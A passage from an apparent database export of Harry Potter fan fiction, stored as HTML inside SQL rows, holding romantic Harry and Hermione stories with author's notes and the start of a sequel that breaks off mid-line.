class="MsoNormal">&#8220;Merlin&#8217;s beard,\nI don&#8217;t know!&#8221; I finally shouted. Hermione looked up at me, startled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; she\nasked carefully. &#8220;Are you all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine.&#8221; I\nanswered, embarrassed. &#8220;I&#8217;ve er&#8230;just got a lot on my mind.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded.\n&#8220;It&#8217;s probably my fault.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did you\nknow?&#8221; I asked before I could stop myself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I probably had\nyou studying too much.&#8221; She answered, looking off somewhere to her right.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, not at all.&#8221;\nI replied, alarmed at how close I had just come to spilling the beans about my\nthoughts. We had finally arrived at the portrait door, but the Fat Lady was\nnowhere to be seen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Probably off\nhaving a nightcap with that one witch.&#8221; Hermione said, letting go of my hand\nand leaning against the wall. &#8220;We won&#8217;t be able to go in until she comes back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I set her bag\ndown and placed my books on top of it. &#8220;Oh well.&#8221; I sighed, leaning up next to\nher then sliding down so I was sitting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I was shocked\nwhen she sat down next to me, and then, even better, she rested her head\nagainst my shoulder. I turned and got a whiff of her hair, she smelled like\nvanilla, pumpkin pie, and cinnamon all in one. I closed my eyes and laid my\ncheek on the top of her head. She sighed softly, and then to my surprise curled\nher fingers back around my hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Another silence\nstretched between us, but unlike others Hermione and I have shared, this one is\nslightly uncomfortable. I think it&#8217;s because we&#8217;re holding hands, I think it&#8217;s\nbecause I&#8217;ve got my cheek resting on her head, and I think it&#8217;s because she&#8217;s\ngot her head on my shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can you believe\nthat we&#8217;re not coming back here next year?&#8221; she asked softly. &#8220;I&#8217;ve become so\nused to being here that it feels like home.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That makes two\nof us.&#8221; I told her. &#8220;Hogwarts is the only home I&#8217;ve ever known. At least you\nhave parents to go back to, I can&#8217;t live with the Dursley&#8217;s anymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I don&#8217;t\nknow how much longer I&#8217;ll be living at my parents&#8217; home anymore.&#8221; She replied.\n&#8220;I&#8217;m supposing that I&#8217;ll find a flat in Diagon Alley.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I probably will\nas well.&#8221; I said. &#8220;Maybe you know&#8230;we should find one together. You, me and\nRon.&#8221; I added hastily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe.&#8221; Hermione\nanswered with a sleepy sort of smile. She snuggled in closer, wrapping her\nother arm around mine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A sudden surge of\nresolve flooded through me then. I have to tell her, I just have to. And right\nnow!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; I\nheard myself say softy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221; she\nanswered. &#8220;Did the Fat Lady come back?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; I said. &#8220;I\num&#8230;I have to tell you something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Unfortunately,\nthis caused her to remove her head from my shoulder and sit up straight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; she\nasked curiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;well&#8230;this\nisn&#8217;t really easy for me to say.&#8221; I began. &#8220;I uh&#8230;well tonight while we were\nworking&#8230;&#8221; Merlin&#8217;s beard, this was harder even than I had thought before. Hell,\nI was going to just say it. &#8220;Hermione&#8230;I love you.&#8221; I blurted out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She raised her\nhead off my shoulder and looked at me with shocked eyes. &#8220;What?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230;I love you.&#8221; I\nrepeated, feeling foolish. Why had I said it like that, why?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You love me?&#8221;\nshe asked, her voice tiny. I pulled away from her and pulled my knees up to my\nchest, then buried my face in them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry. I\ndidn&#8217;t mean to spring it on you like that, and I know that you can&#8217;t ever feel\nthat way about me&#8212;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; She\nsaid, putting her hand on my arm, but I was so worked up I didn&#8217;t hear her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can just\nforget I said anything, because I know you&#8217;re going to say you don&#8217;t want to\nruin another friendship by making it romantic and&#8212;&#8220; I continued on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; this\ntime she spoke louder, but I was still too engrossed in my rant and paid no\nattention. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just don&#8217;t\nwant you and I to stop being friends because I made a mistake&#8212;&#8220; I was still\nbabbling when all of a sudden she did something I didn&#8217;t expect her to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She kissed me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>She KISSED me!</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I was in shock\nthe moment I realized her lips were on mine. She shifted her body so that we\nwere now facing one another. I automatically encircled my arms around her waist\nand pulled her against me. Her hands came to rest on my shoulders, keeping me\nclose to her. I removed one hand from her slim waist and threaded it through\nher dark curls. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tentatively, I\ntouched my tongue to her lips, and by her responding gasp, I assumed that I had\nsurprised her. It wasn&#8217;t a bad surprise however, because she opened her mouth\nto mine. Now it was my turn to gasp, as our kiss grew increasingly passionate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After what seemed\nlike an hour, we broke apart, greedily gulping in air to our starved lungs. I\nreached for her hand and intertwined our fingers together, and kissed the back\nof it softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You never gave\nme a chance to say that I love you too.&#8221; Hermione chided me gently. I leaned\nforward and kissed her softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry.&#8221; I\nsaid, a bit sheepishly. &#8220;I just never thought you&#8217;d feel that way, especially\nafter the whole Ron &#8216;fiasco&#8217;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What happened\nbetween Ron and I&#8230;I should have seen from the start that the relationship would\nfizzle out. But you and I are so&#8230;right.&#8221; She finished a bit shyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I fully agree\nwith you there.&#8221; I said happily. I looked up to see the Fat Lady sidle back\ninto the portrait. &#8220;Come on, let&#8217;s go sit by the fire.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; She\nagreed, not letting go of my hand as we stood up. I gave the Fat Lady our\npassword and we went through the hole.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are we going\nto tell Ron about this?&#8221; I asked, motioning to our clasped hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; she bit\nher bottom lip as she thought. &#8220;We could always say, &#8216;One night in the\nlibrary&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Don&#8217;t you\njust love when a ficlet turns out to be like SIX pages long? ROFL oh\nwell&#8230;enjoy, and don&#8217;t forget to leave a review!! Thanks!</p>\n\n\n\n\n\n\n'),
	(83, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">(A/N: Here&#8217;s just some\ncutesy ridiculous fluff I came up with when I was lying around in bed this\nmorning (minds outta the gutter haha) Hope you likes, and please don&#8217;t forget\nto review. Not flame. And MANY thanks to Ryoko who helped me come up with a title\nfor this and for beta reading it. If you haven&#8217;t read her fic Soul Scepter, go\nread it after you&#8217;ve read and reviewed this!) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry trudged along the\ncorridor towards the Gryffindor Tower. He had just endured one of his most\ndifficult Quidditch practices ever; he&#8217;d really managed to smash himself up\ngood tonight. Fred and George were walking along side him, leaning up against\neach other for support. Alicia, as soon as she had been made captain, had\nturned into a female version of Oliver Wood, working them from dawn till dusk.\nThe twins had taken quite a beating from the bludgers tonight, as Alicia had\nfound ways to enchant them to fly directly at the twins constantly. She claimed\nthat it made them stronger so when they hit them away in the game, they&#8217;d go\nfarther. Harry wasn&#8217;t too sure about her tactics. As these thoughts passed\nthrough his head he watched in silent amusement as Fred stopped dead in the\ncorridor and fell onto the ground, George tumbling in a heap on top of him.\nHarry prodded Fred with his foot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on guys, we&#8217;re almost\nto the common room. You can find a sofa to fall onto there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sofa? Did someone say sofa?&#8221; George cried from the floor.\nFred took this opportunity to roll George off of him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Geroff\nme!&#8221; he howled. Harry said nothing more to them but told the Fat Lady the\npassword and held open the portrait so they could stumble through. Ron\nimmediately caught sight of his two brothers and let out a loud snigger. It was\nrare that anyone got to see Fred and George in a dampened mood, especially Ron,\nso he got quite a kick out of this. Harry was too tired to even crack another\nsmile. Tripping over his own feet, Harry finally managed to drag himself over\nto a couch by the fire. Dropping his broomstick and Quidditch gear on the\nfloor, he sank onto the soft cushions. Unfortunately for him, someone was\nalready sitting there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Eek!&#8221; a voice said as Harry\nflopped over. He nearly jumped out of his skin when he looked behind him and\nsaw the one person that could easily make his heart leap in bounds and flush\nhis face to the deepest shades of crimson. The person that had been there for\nhim for the past 5 years, one of his most trusted friends and companions.\nHermione Granger. The girl who, just in one sweet move at the end of last year\nhad kissed his cheek, and had, in that one moment, captured his heart. He had\nthought about her all that lonely summer, Dumbledore had not wanted him to\nleave the Dursleys&#8217; until the new year at Hogwarts started again, and he had\nnot been able to communicate with either she or Ron. When he passed the barrier\non September 1st, he had seen her almost straightaway and a\nfluttery, warm feeling had entered his stomach. Now as he realized he was\nalmost lying on top of her, a large lump entered his throat and he felt his\nface turn that familiar shade of red as it always did when he embarrassed\nhimself around her, which since the beginning of the year, had been quite\noften. Ron had caught on right away and almost never missed the opportunity to\ntease him about it. Harry had sworn him to secrecy, and had also threatened to\ntell Lavender about the poems Ron had written for her and had hidden under his\nmattress.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;sorry\nHermione.&#8221; Harry now managed to\nmumble and sat on the other end of the couch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Rough practice huh?&#8221; she\nsaid sympathetically. Harry nodded in agreement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sometimes I think Alicia&#8217;s\nworse than Wood. He was a fanatic but never this bad.&#8221; Harry said, scratching\nthe area over his eyebrow. When he brought his fingers away they had blood on\nthem.</p>\n\n<p class="MsoNormal">&#8220;Harry! You&#8217;re bleeding!&#8221;\nshe said with concern apparent in her voice. He shrugged, not wanting her to\nthink he was in pain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s just a scratch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here&#8230;&#8221; she said, leaning\nover to him. Harry felt his breath catch in his throat as she reached one\nslender hand in her robe and took out a tissue. She held it out to him as he\nlooked at it quizzically.</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he said, looking at\nthe tissue. It was all crumpled in a ball. &#8220;That looks like it&#8217;s been used!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry James Potter! Do you\nREALLY think I&#8217;d give you a used tissue?&#8221; Hermione said and snapped it to\nstraighten it out. She folded it over a few times, then leaned over even\nfurther and gently pressed it on the cut on his forehead. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt the lump in his\nthroat grow even larger. He hadn&#8217;t been this close to her in awhile. He tried\nnot to be too obvious as he stared into her eyes; luckily she was too focused\non taking care of him that she didn&#8217;t notice as his emerald greens slid down\nfrom her eyes, to her lips, then down her slim neck to the creamy colored skin\nthat was exposed by her sweater. Hermione shifted even closer to him, her chest\nwas now at his eye level, she had her knee in between his legs (he gulped hard)\nand he felt gentle pressure as she continued to tend to his wound. Suddenly, he\nknew what was going to happen if he didn&#8217;t push Hermione back; it sure wouldn&#8217;t\nbe his wand that she would see if she happened to look down. He pushed her back\nand sat up quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the matter Harry?&#8221;\nshe asked, looking a little put out at the way he had shoved her away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;sorry&#8230;&#8221; Harry stammered.\n&#8220;I uh&#8230; I think it&#8217;s okay now.&#8221; He managed to say, as he touched the wound. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure you&#8217;re all\nright? You look a little flushed.&#8221; She said, her own face turning a slight\nshade of pink.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No I&#8217;m fine.&#8221; Harry said,\nperhaps a little too quickly. &#8220;I think I need to take a shower&#8230;I must stink to\nhigh heaven.&#8221; He said, grinning a little.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, you don&#8217;t smell&#8230;not too\nbad.&#8221; Hermione said, now pinker. They both just sat there for a few moments\njust looking at each other. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well. I&#8217;ll just be&#8230;right\nback then.&#8221; Harry said. He got up and almost ran to the boys&#8217; dormitory. He\nneeded a cold shower, and fast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched him go.\n&#8216;What just happened here?&#8217; she thought to herself. She hadn&#8217;t allowed Harry to\nsee it, but she had caught him looking at her while she had been cleaning him\nup. As she thought about it more, she realized he had been acting funny since\nthe beginning of the year. &#8216;Could he like me?&#8217; she thought, then instantly\ntried to banish it from her head. They had been best friends for so long now,\nthat it was difficult to think of each other in any way. Or was it? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione debated these\nthoughts in her head for the next fifteen minutes until Harry reappeared in the\ncommon room. He saw her still sitting in the same spot, and started heading in\nher direction. She saw Ron stop him and talk to him for a few moments, and she\ntook that time to take a good look at Harry. He had put on one of his sweaters\nthat Mrs. Weasley had made for him; this one was the exact shade of his eyes,\nwith the Hungarian Horntail on the front. He had swapped his clunky black\nframes for some wire-rimmed glasses, and had some jeans and sneakers on. She\nalso noticed he had his invisibility cloak and Marauder&#8217;s Map in his hands,\nwhich obviously meant he was planning on sneaking out somewhere. She felt a\nsmall note of disappointment in her chest for some odd reason. She wasn&#8217;t sure\nwhy, but she was hoping he would come back and sit with her by the fire.\nSighing, she turned back around and faced the fire. At that moment she noticed a\nflash of green to her right and she turned and saw Harry at her side. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you want to come to the\nkitchens with me?&#8221; Harry asked. &#8220;Quidditch practice made me really hungry. I\nwant to see if they have any leftover pie.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A slight smile spread over\nHermione&#8217;s face as she snapped her books shut and hopped off the couch. &#8220;Sure.&#8221;\nShe said easily. She fell in step next to him as they left the portrait hole\ntogether (Ron was sniggering at the two of them as they walked by) and Harry\nthrew the cloak over both their heads. Since they had both grown taller in the\npast summer, they had to huddle closer together to make sure the cloak covered\nboth of them. Hermione breathed in the woodsy scent of Harry as they walked,\ntheir shoulders and hands touching occasionally. Neither one of them spoke;\nHarry kept his concentration on the Marauder&#8217;s Map so that he wouldn&#8217;t have to\npay attention to the raspberry smell coming off Hermione. They reached the\nportrait of the fruit quickly. Harry reached up and tickled the pear. Hermione\nsmiled as the pear giggled, to her that had always been the funniest thing.\nThey entered the hallway that lead into the kitchens and Harry pulled the cloak\noff. Dobby of course raced forward to greet them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry\nPotter sir!&#8221; Dobby shrieked,\nthrowing himself exuberantly at Harry&#8217;s legs. Harry stifled a laugh as he was\npropelled backwards and Hermione couldn&#8217;t help but snicker.</p>\n\n<p class="MsoNormal">&#8220;Hi Dobby.&#8221; Harry said when\nDobby finally disentangled himself. His eyes widened as he took in Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter brings his\ngirlfriend now!&#8221; Dobby said. Harry immediately flushed red and Hermione did the\nsame, but neither one of them bothered to correct Dobby.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Actually Dobby,&#8221; Harry said\nafter a moment of almost unbearable silence, &#8220;We came down to see if you guys\nhad any leftover pie from dinner tonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dobby raced towards the\ninner part of the kitchens immediately and came back with a large pumpkin pie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will this do Harry Potter\nsir?&#8221; Dobby asked him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh, excellent Dobby!\nPumpkin pie is my favorite!&#8221; Harry said. Hermione looked at him in surprise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It is? I always thought you\nliked apple best.&#8221; She remarked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, pumpkin&#8217;s always been\nmy favorite.&#8221; Harry smirked. &#8220;Perhaps that&#8217;s because Dudley always eats cherry,\napple, mince&#8230;anything but pumpkin. I had it once when I was a kid at Mrs.\nFigg&#8217;s house and thought it was the best thing I&#8217;ve ever tasted.&#8221; He said.\n&#8216;Except I&#8217;d be willing to bet you taste better.&#8217; He added silently to himself.\nHe carried the pie tin over to the small table and Dobby raced over with two\nplates and two forks. Harry and Hermione settled into the chairs and stabbed\ntheir forks directly into the pie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter sir?&#8221; came a quieter voice. Winky appeared at their side, holding\na can of whip cream. &#8220;Would you like this for your pie?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Winky!&#8221;\nHarry smiled kindly at her and took the cream. Winky beamed at him and\nscampered back off towards the stove. He shook the can and held it out to\nHermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want some?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; She replied. He\nsprayed some of the whip cream directly onto the pie (neither one bothered with\nthe plates) and she took her index finger and swabbed some of it. Harry watched\nas she raised the finger to her lips and licked it off slowly. It took all his\nself-constraint not to jump over the table and start kissing her right then and\nthere. Hermione looked up at him with amusement, she had noticed him fidgeting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something wrong Harry?&#8221; she\nasked with a hint of a smile on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Harry choked out,\nwishing his face would stop burning. &#8220;Why do you ask?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No reason. You just look\nreally&#8230;hot&#8230;all of a sudden.&#8221; Hermione said slyly, widening her eyes a little\nfor effect.&nbsp; Harry stared at her for a\nsecond with his mouth open, and then the realization hit him. She was <i>teasing</i>\nhim. Harry then knew just exactly what he wanted to do. He raised the can of\nwhip cream and before Hermione knew what was happening, he had aimed and fired.\nHermione screamed as her face was covered with white cream.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HARRY JAMES POTTER!&#8221;\nHermione screeched for the second time that evening. Harry sat back and laughed\nas Hermione frantically wiped whip cream off her face. She glared at him\nangrily and that made him laugh harder. In fact, he was now laughing so hard,\nhe fell off his chair, the can of cream falling from his hand and rolling\nacross the floor. Hermione saw her chance and snatched it up before Harry could\nget to it. She pointed it at him and grinned widely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My turn!&#8221; she sang happily\nand opened fire. Whip cream went everywhere, including all over the floor and\nHarry. He tried to roll out of the way but Hermione just came in closer and\ncontinued her attack. She was the one laughing now as Harry&#8217;s silky raven black\nhair turned sticky white and his glasses were smudged. Finally, Hermione had to\nstop because the can was empty. She set it back on the table delicately and\nregarded Harry (plastered onto the floor) with a satisfied expression. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;ll teach you to do\nthat to me Potter!&#8221; she said. Harry grinned and held out his hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Help me up.&#8221; He said.\nHermione grasped his hand to pull him to his feet but Harry had other ideas. He\npulled Hermione down next to him and brought his other hand from behind his\nback and plastered more cream on her. &#8216;If she thought this was over she had\nanother thing coming.&#8217; Harry thought to himself. Hermione of course tried to\nretaliate, but Harry knew exactly where her weak points were, and began\ntickling her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she screamed\nbetween fits of laughter. &#8220;Not fair!&#8221; When Harry finally stopped tickling her,\nHermione had to pause for a moment to catch her breath. Reaching up for her\nwand on the table, she summoned a rag. She wiped her face and robe off and\nhanded it to Harry. He pulled his glasses off and tried to clean them but only\nsmeared them up further.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bugger.&#8221; He said ruefully. &#8220;I&#8217;ll have to clean these up when\nwe get back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here.&#8221; Hermione said. &#8220;Let\nme take a look.&#8221; She muttered a cleaning spell and returned them to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; He said\ngratefully. She looked at him for a moment and started giggling again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You still have cream on\nyour face.&#8221; Hermione replied. She took the rag from him and wiped his face\ngently. He stood quietly, his gaze serious and burning. She grew flustered from\nhaving him stand so close and didn&#8217;t realize she had cleaned his face off but\nkept wiping. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think you&#8217;ve got it all.&#8221;\nHarry said. She nodded and dropped the cloth on the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve missed a spot.&#8221;\nHarry said. Hermione looked back at him and furrowed her brow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did? I don&#8217;t see anything\non your face anymore.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, on\nyours.&#8221; He said, a smile playing\non the corner of his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did?&#8221; she said, pressing\nher hands to her face as she tried to find any remnants of whip cream. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve got it.&#8221; Harry said.\nHe brought his finger to her bottom lip and brushed it across. His green eyes\nmet her brown ones, and they held their gaze for what seemed like hours.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; Hermione said\ndesperately. &#8220;Just kiss me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry obliged without\nanother thought. His lips came crashing down onto hers, kissing her with all\nthe fervor he&#8217;d had since her lips had brushed his cheek last summer. He felt\nher lips part under his, and her tongue intertwined with his. They had fallen\nback on the table without even noticing. Hermione&#8217;s hands grasped Harry&#8217;s\nsweater and his hands were ensnared in her long hair, caressing the side of her\nface, exploring anywhere he dared to in this, their first kiss. After several\nmore minutes in which they did not even part for air, Hermione finally pulled\nback.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he asked, trying to\nkiss her again. She pushed him back however, and sat\nup. She turned around and started to laugh. Harry, when he had laid her on the\ntable, had laid her right onto their unfinished pumpkin pie. Harry looked at\nher for a moment with his wide green eyes as if he expected her to throw a fit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh well.&#8221; Hermione said.\nShe grabbed the front of Harry&#8217;s sweater and pulled him into another kiss.</p>\n\n\n\n\n\n\n'),
	(84, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well here&#8217;s\nwhat I&#8217;ve been promising, the sequel to Return to Me and It Was Bound to\nHappen, aptly titled Within the Shadows of Hatred.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SPECIAL THANKS to\nGod of Fire, who came up with the title of this fic for me! Make sure you go\nand check out her stuff, esp. her D/G story A Life Less Ordinary. It&#8217;s really\nremarkable!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also thanks to\nRyoko Blue, Thefly, Nappa, and HarryNZ for helping me with ideas.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There will be\nlots of OC&#8217;s in here that I&#8217;ve introduced from RTM, so make sure you read (and\nreview!) that one before you even start venturing into this.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This will not be\nas light-hearted a fic as RTM (in the end at least) and Bound&#8230;just to forewarn\nyou now. There are things I don&#8217;t want to do but I have to for the sake of the\nstory. There won&#8217;t be anything just horribly awful, at least not at this point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This story will\nalso not likely be as long as RTM was&#8230;again, not at this point. Well I&#8217;ve bored\nyou long enough with my A/N, now it&#8217;s time to get to it!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 1: The 5th\nBirthday</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Carl get away from\nmy broom!&#8221; Colin Potter yelled at the top of his lungs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum said I could\nplay with it!&#8221; Carl hollered back, holding on with his chubby hands. &#8220;It&#8217;s my\nbirthday!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No 